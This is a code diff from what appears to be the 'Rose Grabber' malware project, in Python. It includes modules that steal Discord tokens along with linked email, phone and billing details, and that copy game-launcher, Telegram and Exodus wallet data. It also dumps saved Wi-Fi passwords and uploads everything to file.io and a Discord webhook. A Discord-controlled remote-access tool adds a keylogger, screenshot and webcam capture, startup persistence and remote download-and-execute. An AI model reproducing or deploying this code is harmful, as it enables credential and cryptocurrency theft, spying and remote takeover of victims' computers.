def get_ransomware_monero_wallet_adress(self):
return self.ransomware_monero_wallet_adress
def get_ransomware_discord_webhook_url(self):
return self.ransomware_discord_webhook_url
def get_ransomware(self):
return self.ransomware
def get_spread_malware(self):
return self.spread_malware
def get_spread_malware_msg(self):
return self.spread_malware_msg
def get_rose_melt_stub(self):
return self.rose_melt_stub
def get_games(self):
return self.games
def get_tsbsod(self):
return self.ts_bsod
def get_bbcrash(self):
return self.bbcrash
def get_disable_protectors(self):
return self.disable_protectors
def get_block_sites(self):
return self.block_sites

View File

@@ -0,0 +1,324 @@
from json import loads, dumps
from urllib.request import Request, urlopen
from bin.config import Config
cc = Config()
from bin.ipinf import Info
ifx = Info()
from datetime import datetime
class DiscordX:
def __init__(self):
self.webhook = cc.get_webhook()
if cc.get_debug_mode:
print("Discord Init")
@staticmethod
def GetUHQFriends(token):
badgeList = [
{
"Name": "Early_Verified_Bot_Developer",
"Value": 131072,
"Emoji": "<:developer:874750808472825986> ",
},
{
"Name": "Bug_Hunter_Level_2",
"Value": 16384,
"Emoji": "<:bughunter_2:874750808430874664> ",
},
{
"Name": "Early_Supporter",
"Value": 512,
"Emoji": "<:early_supporter:874750808414113823> ",
},
{
"Name": "House_Balance",
"Value": 256,
"Emoji": "<:balance:874750808267292683> ",
},
{
"Name": "House_Brilliance",
"Value": 128,
"Emoji": "<:brilliance:874750808338608199> ",
},
{
"Name": "House_Bravery",
"Value": 64,
"Emoji": "<:bravery:874750808388952075> ",
},
{
"Name": "Bug_Hunter_Level_1",
"Value": 8,
"Emoji": "<:bughunter_1:874750808426692658> ",
},
{
"Name": "HypeSquad_Events",
"Value": 4,
"Emoji": "<:hypesquad_events:874750808594477056> ",
},
{
"Name": "Partnered_Server_Owner",
"Value": 2,
"Emoji": "<:partner:874750808678354964> ",
},
{
"Name": "Discord_Employee",
"Value": 1,
"Emoji": "<:staff:874750808728666152> ",
},
]
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0",
}
try:
friendlist = loads(
urlopen(
Request(
"https://discord.com/api/v6/users/@me/relationships",
headers=headers,
)
)
.read()
.decode()
)
except Exception:
return False
uhqlist = ""
for friend in friendlist:
OwnedBadges = ""
flags = friend["user"]["public_flags"]
for badge in badgeList:
if flags // badge["Value"] != 0 and friend["type"] == 1:
if "House" not in badge["Name"]:
OwnedBadges += badge["Emoji"]
flags = flags % badge["Value"]
if OwnedBadges != "":
uhqlist += f"{OwnedBadges} | {friend['user']['username']}#{friend['user']['discriminator']} ({friend['user']['id']})\n"
return uhqlist
@staticmethod
def GetBilling(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0",
}
try:
billingjson = loads(
urlopen(
Request(
"https://discord.com/api/users/@me/billing/payment-sources",
headers=headers,
)
)
.read()
.decode()
)
except Exception:
return False
if billingjson == []:
return "`None`"
billing = ""
for methode in billingjson:
if methode["invalid"] is False:
if methode["type"] == 1:
billing += "<:credit_card:1151916484176654416>"
elif methode["type"] == 2:
billing += "<:paypal:1151916071092244520> "
return billing
@staticmethod
def GetBadge(flags):
if flags == 0:
return ""
OwnedBadges = ""
badgeList = [
{
"Name": "Early_Verified_Bot_Developer",
"Value": 131072,
"Emoji": "<:developer:874750808472825986> ",
},
{
"Name": "Bug_Hunter_Level_2",
"Value": 16384,
"Emoji": "<:bughunter_2:874750808430874664> ",
},
{
"Name": "Early_Supporter",
"Value": 512,
"Emoji": "<:early_supporter:874750808414113823> ",
},
{
"Name": "House_Balance",
"Value": 256,
"Emoji": "<:balance:874750808267292683> ",
},
{
"Name": "House_Brilliance",
"Value": 128,
"Emoji": "<:brilliance:874750808338608199> ",
},
{
"Name": "House_Bravery",
"Value": 64,
"Emoji": "<:bravery:874750808388952075> ",
},
{
"Name": "Bug_Hunter_Level_1",
"Value": 8,
"Emoji": "<:bughunter_1:874750808426692658> ",
},
{
"Name": "HypeSquad_Events",
"Value": 4,
"Emoji": "<:hypesquad_events:874750808594477056> ",
},
{
"Name": "Partnered_Server_Owner",
"Value": 2,
"Emoji": "<:partner:874750808678354964> ",
},
{
"Name": "Discord_Employee",
"Value": 1,
"Emoji": "<:staff:874750808728666152> ",
},
]
for badge in badgeList:
if flags // badge["Value"] != 0:
OwnedBadges += badge["Emoji"]
flags = flags % badge["Value"]
return OwnedBadges
@staticmethod
def GetTokenInfo(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0",
}
userjson = loads(urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers)).read().decode())
username = userjson["username"]
hashtag = userjson["discriminator"]
email = userjson["email"]
idd = userjson["id"]
pfp = userjson["avatar"]
flags = userjson["public_flags"]
nitro = ""
phone = "-"
if "premium_type" in userjson:
nitrot = userjson["premium_type"]
if nitrot == 1:
nitro = "<:classic:896119171019067423> "
elif nitrot == 2:
nitro = "<a:boost:824036778570416129> <:classic:896119171019067423> "
if "phone" in userjson:
phone = userjson["phone"]
return username, hashtag, email, idd, pfp, flags, nitro, phone
@staticmethod
def checkToken(token):
headers = {
"Authorization": token,
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0",
}
try:
urlopen(Request("https://discordapp.com/api/v6/users/@me", headers=headers))
return True
except Exception:
return False
def uploadToken(self, token):
global hook
headers = {
"Content-Type": "application/json",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0",
}
username, hashtag, email, idd, pfp, flags, nitro, phone = self.GetTokenInfo(token)
if pfp is None:
pfp = "https://raw.githubusercontent.com/DamagingRose/Rose-Grabber/main/components/assets/dogg.png"
else:
pfp = f"https://cdn.discordapp.com/avatars/{idd}/{pfp}"
billing = self.GetBilling(token)
badge = self.GetBadge(flags)
friends = self.GetUHQFriends(token)
if friends == "":
friends = "`None`"
if not billing:
badge, phone, billing = "None", "None", "None"
if nitro == "" and badge == "":
nitro = "`None`"
current_time_iso = datetime.now().isoformat()
data = {
"content": "",
"embeds": [
{
"title": "Rose Report",
"description": "Rose Instance - Token Information",
"color": cc.get_color(),
"fields": [
{
"name": "Token:",
"value": f"||`{token}`||",
"inline": False,
},
{
"name": "Email:",
"value": f"`{email}`",
"inline": False,
},
{
"name": "Phone:",
"value": f"`{phone}`",
"inline": False,
},
{
"name": "Badges:",
"value": f"{nitro}{badge}",
"inline": False,
},
{
"name": "Billing:",
"value": f"{billing}",
"inline": False,
},
{
"name": "Friends:",
"value": f"{friends}",
"inline": False,
},
],
"author": {
"name": f"{username}#{hashtag} ({idd})",
"icon_url": f"{pfp}",
},
"footer": {
"text": cc.get_footer(),
"icon_url": cc.get_avatar(),
},
"thumbnail": {"url": f"{pfp}"},
"timestamp": current_time_iso,
}
],
"avatar_url": cc.wh_avatar,
"username": cc.wh_name,
"attachments": [],
}
urlopen(Request(self.webhook, data=dumps(data).encode(), headers=headers))

View File

@@ -0,0 +1,228 @@
import os
from bin.webhook import _WebhookX
from datetime import datetime
import shutil
import requests
from dhooks import Embed
from bin.config import Config
import zipfile
class get_games:
def __init__(self):
self.cc = Config()
self.webx = _WebhookX().get_object()
self.embed = Embed(title="Rose Report", description="Rose Instance - Games and Application Grabber", color=self.cc.get_color(), timestamp=datetime.now().isoformat())
self.embed.set_author(name=self.cc.get_name(), icon_url=self.cc.get_avatar())
self.embed.set_footer(text=self.cc.get_footer(), icon_url=self.cc.get_avatar())
self.userProfile = os.getenv("userprofile")
self.roaming = os.getenv("appdata")
self.tdata_path = os.path.join(self.roaming, "Telegram Desktop", "tdata")
self.uplay_launcher_path = os.path.join(self.roaming, "Ubisoft Game Launcher")
self.epic_games_path = os.path.join(self.roaming, "EpicGamesLauncher", "Saved")
self.steam_path = r"C:\Program Files (x86)\Steam\config"
self.exodus_path = os.path.join(self.roaming, "Exodus", "exodus.wallet")
self.minecraftPaths = {
"Intent": os.path.join(self.userProfile, "intentlauncher", "launcherconfig"),
"Lunar": os.path.join(self.userProfile, ".lunarclient", "settings", "game", "accounts.json"),
"TLauncher": os.path.join(self.roaming, ".minecraft", "TlauncherProfiles.json"),
"Feather": os.path.join(self.roaming, ".feather", "accounts.json"),
"Meteor": os.path.join(self.roaming, ".minecraft", "meteor-client", "accounts.nbt"),
"Impact": os.path.join(self.roaming, ".minecraft", "Impact", "alts.json"),
"Novoline": os.path.join(self.roaming, ".minectaft", "Novoline", "alts.novo"),
"CheatBreakers": os.path.join(self.roaming, ".minecraft", "cheatbreaker_accounts.json"),
"Microsoft Store": os.path.join(self.roaming, ".minecraft", "launcher_accounts_microsoft_store.json"),
"Rise": os.path.join(self.roaming, ".minecraft", "Rise", "alts.txt"),
"Rise (Intent)": os.path.join(self.userProfile, "intentlauncher", "Rise", "alts.txt"),
"Paladium": os.path.join(self.roaming, "paladium-group", "accounts.json"),
"PolyMC": os.path.join(self.roaming, "PolyMC", "accounts.json"),
"Badlion": os.path.join(self.roaming, "Badlion Client", "accounts.json"),
}
self.rose_path = os.path.join(self.roaming, "roseontop")
self.telegram_folder = os.path.join(self.rose_path, "Telegram")
self.steam_folder = os.path.join(self.rose_path, "Steam")
self.uplay_folder = os.path.join(self.rose_path, "Uplay")
self.minecraft_folder = os.path.join(self.rose_path, "Minecraft")
self.epic_games_folder = os.path.join(self.rose_path, "Epic Games")
self.exodus_folder = os.path.join(self.rose_path, "Exodus")
self.games_zip = os.path.join(self.rose_path, "Games.zip")
def get_games(self):
# Telegram
if not os.path.exists(self.tdata_path):
self.telegram_check = True
else:
self.telegram_check = False
if os.path.exists(self.telegram_folder):
shutil.rmtree(self.telegram_folder)
if os.path.exists(self.tdata_path):
try:
shutil.copytree(self.tdata_path, self.telegram_folder)
except Exception:
self.telegram_check = True
pass
# Epic Games
if not os.path.exists(self.epic_games_path):
self.epic_games_check = True
else:
self.epic_games_check = False
if os.path.exists(self.epic_games_folder):
shutil.rmtree(self.epic_games_folder)
if os.path.exists(self.epic_games_path):
try:
shutil.copytree(self.epic_games_path, self.epic_games_folder)
except Exception:
self.epic_games_check = True
pass
# Steam
if not os.path.exists(self.steam_path):
self.steam_check = True
else:
self.steam_check = False
if os.path.exists(self.steam_folder):
shutil.rmtree(self.steam_folder)
if os.path.exists(self.steam_path):
try:
shutil.copytree(self.steam_path, self.steam_folder)
except Exception:
self.steam_check = True
pass
# Uplay
if not os.path.exists(self.uplay_launcher_path):
self.uplay_check = True
else:
self.uplay_check = False
if os.path.exists(self.uplay_folder):
shutil.rmtree(self.uplay_folder)
if os.path.exists(self.uplay_launcher_path):
try:
shutil.copytree(self.uplay_launcher_path, self.uplay_folder)
except Exception:
self.uplay_check = True
pass
# Exodus
if not os.path.exists(self.exodus_path):
self.exodus_check = True
else:
self.exodus_check = False
if os.path.exists(self.exodus_folder):
shutil.rmtree(self.exodus_folder)
if os.path.exists(self.exodus_path):
try:
shutil.copytree(self.exodus_path, self.exodus_folder)
except Exception:
self.exodus_check = True
pass
# Minecraft
if os.path.exists(self.minecraft_folder):
shutil.rmtree(self.minecraft_folder)
self.minecraft_check = True
for self.minecraftPath in self.minecraftPaths.values():
if os.path.exists(self.minecraftPath):
self.minecraft_check = False
try:
print(os.path.basename(os.path.dirname(self.minecraftPath)))
print(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath))))
if not os.path.exists(self.minecraft_folder):
os.mkdir(self.minecraft_folder)
if not os.path.exists(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath)))):
os.mkdir(os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath))))
shutil.copy(self.minecraftPath, os.path.join(self.minecraft_folder, os.path.basename(os.path.dirname(self.minecraftPath))))
except Exception as e:
pass
# Create ZIP
if not self.epic_games_check or not self.steam_check or not self.uplay_check or not self.telegram_check or not self.minecraft_check or not self.exodus_check:
if not os.path.exists(self.games_zip):
with zipfile.ZipFile(self.games_zip, "w", compression=zipfile.ZIP_DEFLATED) as zf:
if not self.telegram_check:
for root, dirs, files in os.walk(self.telegram_folder):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, self.telegram_folder)
arcname = os.path.join("Telegram", arcname)
zf.write(file_path, arcname)
if not self.epic_games_check:
for root, dirs, files in os.walk(self.epic_games_folder):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, self.epic_games_folder)
arcname = os.path.join("Epic Games", arcname)
zf.write(file_path, arcname)
if not self.steam_check:
for root, dirs, files in os.walk(self.steam_folder):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, self.steam_folder)
arcname = os.path.join("Steam", arcname)
zf.write(file_path, arcname)
if not self.uplay_check:
for root, dirs, files in os.walk(self.uplay_folder):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, self.uplay_folder)
arcname = os.path.join("Uplay", arcname)
zf.write(file_path, arcname)
if not self.exodus_check:
for root, dirs, files in os.walk(self.exodus_folder):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, self.exodus_folder)
arcname = os.path.join("Exodus", arcname)
zf.write(file_path, arcname)
if not self.minecraft_check:
for root, dirs, files in os.walk(self.minecraft_folder):
for file in files:
file_path = os.path.join(root, file)
arcname = os.path.relpath(file_path, self.minecraft_folder)
arcname = os.path.join("Minecraft", arcname)
zf.write(file_path, arcname)
# Upload ZIP
upload_url = "https://file.io"
files = {"file": (self.games_zip, open(self.games_zip, "rb"))}
response = requests.post(upload_url, files=files)
if response.status_code == 200:
self.download_link = response.json().get("link", "Unknown")
else:
self.download_link = "Unknown"
self.embed.add_field(name="Games", value=f"[Download]({self.download_link})", inline=False)
# Send embed with download link
self.webx.send(embed=self.embed)

View File

@@ -0,0 +1,93 @@
import subprocess
import os
from bin.config import Config
from datetime import datetime
from bin.webhook import _WebhookX
from dhooks import Embed
from urllib.request import Request, urlopen
from urllib.error import URLError
import requests
from bin._random_string import *
cc = Config()
class Info:
def __init__(self):
self.ip = self.get_public_ip()
def run_command(self, command):
result = subprocess.run(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
stdout = result.stdout.decode("utf-8", errors="replace")
stderr = result.stderr.decode("utf-8", errors="replace")
return stdout, stderr
def get_wifi_profiles(self):
output, _ = self.run_command("netsh wlan show profiles")
profile_names = [profile.strip() for profile in output.split(":")]
return profile_names
def get_wifi_profile_output(self, profile_name):
command = f'netsh wlan show profile name="{profile_name}" key=clear'
output, _ = self.run_command(command)
return output
def get_public_ip(self):
try:
response = urlopen(Request("https://api.ipify.org"), timeout=10)
return response.read().decode().strip()
except URLError:
return "Unknown"
def main(self):
wifi_profiles = self.get_wifi_profiles()
rndm_strr = get_random_string(25)
self.path = os.path.join(os.getenv("APPDATA"), "roseontop", f"wifi_profiles_{rndm_strr}.txt")
with open(self.path, "w", encoding="utf-8") as file:
for profile_name in wifi_profiles:
profile_output = self.get_wifi_profile_output(profile_name)
file.write(profile_output + "\n")
file.write("-" * 50 + "\n")
upload_url = "https://file.io"
files = {"file": (os.path.basename(self.path), open(self.path, "rb"))}
response = requests.post(upload_url, files=files)
if response.status_code == 200:
self.wif_dwnld_l = response.json().get("link", "Unknown")
else:
self.wif_dwnld_l = "Unknown"
def send_data(self):
webx = _WebhookX().get_object()
self.main()
try:
response = requests.get(f"https://ipinfo.io/{self.ip}/json")
if response.status_code == 200:
self.ipdata = response.json()
except Exception:
return {}
embed = Embed(title="Rose Report", description="Rose Instance - IP and WIFI Information", color=cc.get_color(), timestamp=datetime.now().isoformat())
embed.set_author(name=cc.get_name(), icon_url=cc.get_avatar())
embed.set_footer(text=cc.get_footer(), icon_url=cc.get_avatar())
embed.add_field(name="IP", value=f"`{self.get_public_ip()}`", inline=False)
embed.add_field(name="Country", value=f'`{self.ipdata.get("country", "Unknown")}`', inline=False)
embed.add_field(name="City", value=f'`{self.ipdata.get("city", "Unknown")}`', inline=False)
embed.add_field(name="Postal", value=f'`{self.ipdata.get("postal", "Unknown")}`', inline=False)
embed.add_field(name="Latitude", value=f'`{self.ipdata.get("loc", "Unknown").split(",")[0]}`', inline=False)
embed.add_field(name="Longtitude", value=f'`{self.ipdata.get("loc", "Unknown").split(",")[1]}`', inline=False)
embed.add_field(name="State", value=f'`{self.ipdata.get("region", "Unknown")}`', inline=False)
embed.add_field(name="WIFI", value=f"[Download]({self.wif_dwnld_l})", inline=False)
webx.send(embed=embed)
os.remove(self.path)
@staticmethod
def get_username():
return os.getlogin()

View File

@@ -0,0 +1,500 @@
import discord
import sys
import os
import random
import socket
import webbrowser
import ctypes
import subprocess
import pygame
import requests
import win32con
import keyboard
import time
import shutil
from bin.config import Config
from sys import argv
from PIL import ImageGrab
from discord.ext import commands
cc = Config()
### CONFIG
btoken = cc.get_knight_discord_rat_bot_token() ### NOT OPTIONAL | DISCORD BOT TOKEN NEEDS TO BE PUT HERE FOR THE RAT TO WORK
prefix = cc.get_knight_discord_rat_prefix() ### OPTIONAL | IGNORE THIS IF YOU WANT TO RUN COMMANDS WITHOUT A PREFIX | PREFIX THE DISCORD BOT WILL BE CALLED WITH
userid = cc.get_knight_discord_rat_listener_user_id() ### OPTIONAL | IGNORE THIS IF YOU DON'T WANT TO BE PINGED | ONLY WORKS WITH CHANNELID SET | THIS IS THE USER WHO WILL BE NOTIFIED ABOUT NEW CLIENTS WITH A PING
channelid = cc.get_knight_discord_rat_channel_id() ### OPTIONAL | ONLY SET IF YOU WANT TO GET A MESSAGE WHEN NEW CLIENTS GET ONLINE
### DEV CONFIG
dscrd = 'https://discord.gg/rHdqqqYVzY'
roaming = os.getenv("appdata")
startup_loc = os.path.join(roaming, "Microsoft", "Windows", "Start Menu", "Programs", "Startup")
changed = win32con.SPIF_UPDATEINIFILE | win32con.SPIF_SENDCHANGE
hostname = socket.gethostname()
cwd = os.getcwd()
intents = discord.Intents.all()
bot = commands.Bot(description=f"Running Knight Remote Adminstration Tool.", command_prefix=prefix, intents=intents)
clientid = ''.join(random.choice('0123456789') for i in range(6))
def get_random_string(length):
letters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
global result_str
result_str = ''.join(random.choice(letters) for i in range(length))
if channelid == '':
pass
else:
@bot.event
async def on_ready():
usrmention = f'<@{userid}>'
channel = bot.get_channel(int(channelid))
if userid == '':
await channel.send(f"New client online: process {clientid}")
else:
await channel.send(f"{usrmention} | New client online: process {clientid}")
@bot.command(name='open')
async def open(ctx, inputid, fpath):
if inputid == clientid:
try:
os.system(fpath)
await ctx.send(f'Successfully ran file with the path `{fpath}` for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t run file with the path `{fpath}` for process {clientid} because of `{Exception}`.')
if inputid != clientid:
if inputid == 'all':
try:
os.system(fpath)
await ctx.send(f'Successfully ran file with the path `{fpath}` for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t run file with the path `{fpath}` for process {clientid} because of `{Exception}`.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='taskschd')
async def taskschd(ctx, inputid):
if inputid == clientid:
try:
os.system('taskschd.msc')
await ctx.send(f'Successfully started windows task scheduler for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t start windows task scheduler for process {clientid} because of `{Exception}`.')
if inputid != clientid:
if inputid == 'all':
try:
os.system('taskschd.msc')
await ctx.send(f'Successfully started windows task scheduler for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t start windows task scheduler for process {clientid} because of `{Exception}`.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='keylogger')
async def keylogger(ctx, inputid, duration):
if inputid == clientid:
get_random_string(15)
record_time = duration ### DURATION OF KEYLOGGER IN SECONDS
fname = f'keylogger_finaldata_CLIENTID_{clientid}_{result_str}{duration}.txt'
end_time = time.monotonic() + int(record_time)
recorded = []
try:
await ctx.send(f'Started keylogger for process {clientid} with a duration of `{duration}` seconds without any problems. You will be notified in `{duration}` seconds, when the final data is being posted.')
while True:
if time.monotonic() >= end_time:
break
recorded.append(keyboard.read_event())
except KeyboardInterrupt:
await ctx.send(f'Keylogger was killed by secret keystroke for process {clientid} because of `{Exception}`. Exe has been compiled without `--noconsole` probably.')
pass
except Exception:
await ctx.send(f'Couldn\'t start keylogger for process {clientid} because of `{Exception}`.')
with open(fname, 'w') as f:
for keystroke in recorded:
if keystroke.event_type == 'down':
if str('up') in str(keystroke):
str(keystroke).upper()
if str('down') in str(keystroke):
str(keystroke).lower()
f.write(str(f'''{keystroke}
'''.replace('KeyboardEvent', '').replace('(', '').replace(')', '').replace(' up', '').replace(' down', '')))
await ctx.send(file=discord.File(fname))
await ctx.send(f'Keylogger data file `{fname}` from process {clientid} was sent.')
os.remove(fname)
if inputid != clientid:
if inputid == 'all':
get_random_string(15)
record_time = duration ### DURATION OF KEYLOGGER IN SECONDS
fname = f'keylogger_finaldata_CLIENTID_{clientid}_{result_str}{duration}.txt'
end_time = time.monotonic() + int(record_time)
recorded = []
try:
await ctx.send(f'Started keylogger for process {clientid} with a duration of `{duration}` seconds without any problems. You will be notified in `{duration}` seconds, when the final data is being posted.')
while True:
if time.monotonic() >= end_time:
break
recorded.append(keyboard.read_event())
except KeyboardInterrupt:
await ctx.send(f'Keylogger was killed by secret keystroke for process {clientid} because of `{Exception}`. Exe has been compiled without `--noconsole` probably.')
pass
except Exception:
await ctx.send(f'Couldn\'t start keylogger for process {clientid} because of `{Exception}`.')
with open(fname, 'w') as f:
for keystroke in recorded:
if keystroke.event_type == 'down':
if str('up') in str(keystroke):
str(keystroke).upper()
if str('down') in str(keystroke):
str(keystroke).lower()
f.write(str(f'''{keystroke}
'''.replace('KeyboardEvent', '').replace('(', '').replace(')', '').replace(' up', '').replace(' down', '')))
await ctx.send(file=discord.File(fname))
await ctx.send(f'Keylogger data file `{fname}` from process {clientid} was sent.')
os.remove(fname)
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='msgbox')
async def msgbox(ctx, inputid, title, msg):
if inputid == clientid:
emojis = ['', '']
prmtn = await ctx.send(f'Final message box is ready to be sent to process {clientid}. Are we allowed to promote Knight Remote Adminstration Tool a little with it?')
for emoji in emojis:
await prmtn.add_reaction(emoji)
@bot.event
async def on_reaction_add(reaction, user):
MB_OK = 0x0 ### BUTTON
ICON_EXCLAIM = 0x30 ### ICON
emoji = reaction.emoji
if user.bot:
return
if emoji == '':
try:
ctypes.windll.user32.MessageBoxW(0, str(f'Join the Discord server: {dscrd} | Individual user message: ' + msg), str('Your PC is infected by Knight Remote Adminstration Tool! | Individual user title: ' + title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITH PROMOTION
await ctx.send(f'Successfully showed message box with promotion for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.')
return
elif emoji == '':
try:
ctypes.windll.user32.MessageBoxW(0, str(msg), str(title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITHOUT PROMOTION
await ctx.send(f'Successfully showed message box without promotion for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.')
return
else:
return
if inputid != clientid:
if inputid == 'all':
emojis = ['', '']
prmtn = await ctx.send(f'Final message box is ready to be sent to process {clientid}. Are we allowed to promote Knight Remote Adminstration Tool a little with it?')
for emoji in emojis:
await prmtn.add_reaction(emoji)
@bot.event
async def on_reaction_add(reaction, user):
MB_OK = 0x0 ### BUTTON
ICON_EXCLAIM = 0x30 ### ICON
emoji = reaction.emoji
if user.bot:
return
if emoji == '':
try:
ctypes.windll.user32.MessageBoxW(0, str(f'Join the Discord server: {dscrd} | Individual user message: ' + msg), str('Your PC is infected by Knight Remote Adminstration Tool! | Individual user title: ' + title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITH PROMOTION
await ctx.send(f'Successfully showed message box with promotion for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.')
return
elif emoji == '':
try:
ctypes.windll.user32.MessageBoxW(0, str(msg), str(title), MB_OK | ICON_EXCLAIM) ### FINAL MSGBOX WITHOUT PROMOTION
await ctx.send(f'Successfully showed message box without promotion for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t show message box for process {clientid} because of `{Exception}`.')
return
else:
return
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='screenshot')
async def screenshot(ctx, inputid):
if inputid == clientid:
image = ImageGrab.grab(
bbox=None,
include_layered_windows=False,
all_screens=True,
xdisplay=None
)
fname = f'screenshot_{clientid}.png'
image.save(fname)
await ctx.send(file=discord.File(fname))
await ctx.send(f'Screenshot `{fname}` from process {clientid} was sent.')
os.remove(fname)
if inputid != clientid:
if inputid == 'all':
image = ImageGrab.grab(
bbox=None,
include_layered_windows=False,
all_screens=True,
xdisplay=None
)
fname = f'screenshot_{clientid}.png'
image.save(fname)
await ctx.send(file=discord.File(fname))
await ctx.send(f'Screenshot `{fname}` from process {clientid} was sent.')
os.remove(fname)
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='startup')
async def startup(ctx, inputid):
if inputid == clientid:
try:
shutil.copy(argv[0], startup_loc)
await ctx.send(f'Successfully copied file `{argv[0]}` from process {clientid} to `{startup_loc}`.')
except Exception:
await ctx.send(f'Failed to copy file `{argv[0]}` from process {clientid} to `{startup_loc}`.')
if inputid != clientid:
if inputid == 'all':
try:
shutil.copy(argv[0], startup_loc)
await ctx.send(f'Successfully copied file `{argv[0]}` from process {clientid} to `{startup_loc}`.')
except Exception:
await ctx.send(f'Failed to copy file `{argv[0]}` from process {clientid} to `{startup_loc}`.')
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='upload')
async def upload(ctx, inputid, dwnldlink, filetype): ### PUT FILE TYPES LIKE .png, .exe, .msi, .txt AND MORE THERE WHEN USING THE COMMAND
if inputid == clientid:
get_random_string(15)
r = requests.get(dwnldlink, allow_redirects=False)
fname = f'filedwnldfrweb_CLIENTID_{clientid}_{result_str}{filetype}'
open(fname, 'wb').write(r.content)
emojis = ['', '']
msg = await ctx.send(f'Uploaded file `{dwnldlink}` with the filetype `{filetype}` to process {clientid}. Should the file be executed directly?')
for emoji in emojis:
await msg.add_reaction(emoji)
@bot.event
async def on_reaction_add(reaction, user):
emoji = reaction.emoji
if user.bot:
return
if emoji == '':
try:
os.system('call '+fname)
await ctx.send(f'Successfully executed scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t execute scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid} because of `{Exception}`.')
return
elif emoji == '':
await ctx.send(f'Okay, scraped file `{dwnldlink}` with the filetype `{filetype}` is not going to be executed for process {clientid}.')
return
else:
return
if inputid != clientid:
if inputid == 'all':
get_random_string(15)
r = requests.get(dwnldlink, allow_redirects=False)
fname = f'filedwnldfrweb_CLIENTID_{clientid}_{result_str}{filetype}'
open(fname, 'wb').write(r.content)
emojis = ['', '']
msg = await ctx.send(f'Downloaded file `{dwnldlink}` with the filetype `{filetype}` to process {clientid}. Should the file be executed directly?')
for emoji in emojis:
await msg.add_reaction(emoji)
@bot.event
async def on_reaction_add(reaction, user):
emoji = reaction.emoji
if user.bot:
return
if emoji == '':
try:
os.system(fname)
await ctx.send(f'Successfully executed scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid}.')
except Exception:
await ctx.send(f'Couldn\'t execute scraped file `{dwnldlink}` with the filetype `{filetype}` for process {clientid} because of `{Exception}`.')
return
elif emoji == '':
await ctx.send(f'Okay, scraped file `{dwnldlink}` with the filetype `{filetype}` is not going to be executed for process {clientid}.')
return
else:
return
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='wallpaper')
async def wallpaper(ctx, inputid, rawimg):
if inputid == clientid:
r = requests.get(rawimg, allow_redirects=False)
fname = f'newwallpaper_{clientid}.jpg' ### ONLY .jpg IMAGES
open(fname, 'wb').write(r.content)
path = os.path.abspath(fname)
ctypes.windll.user32.SystemParametersInfoW(win32con.SPI_SETDESKWALLPAPER, 0, path, changed)
await ctx.send(f'Changed background wallpaper for {clientid} to `{rawimg}`.')
os.remove(fname)
if inputid != clientid:
if inputid == 'all':
r = requests.get(rawimg, allow_redirects=False)
fname = f'newwallpaper_{clientid}.jpg' ### ONLY .jpg IMAGES
open(fname, 'wb').write(r.content)
path = os.path.abspath(fname)
ctypes.windll.user32.SystemParametersInfoW(win32con.SPI_SETDESKWALLPAPER, 0, path, changed)
await ctx.send(f'Changed background wallpaper for {clientid} to `{rawimg}`.')
os.remove(fname)
if inputid != 'all' and clientid:
await ctx.send(f'Sorry, couldn\'t find process {inputid}.')
@bot.command(name='webcam')
async def webcam(ctx, inputid):
pygame.camera.init()
if inputid == clientid:
camlist = pygame.camera.list_cameras()
fname = str(f'webcampicture_{clientid}.png')
if camlist:
cam = pygame.camera.Camera(camlist[0], (640, 480))
cam.start()
image = cam.get_image()
pygame.image.save(image, fname)
await ctx.send(file=discord.File(fname))
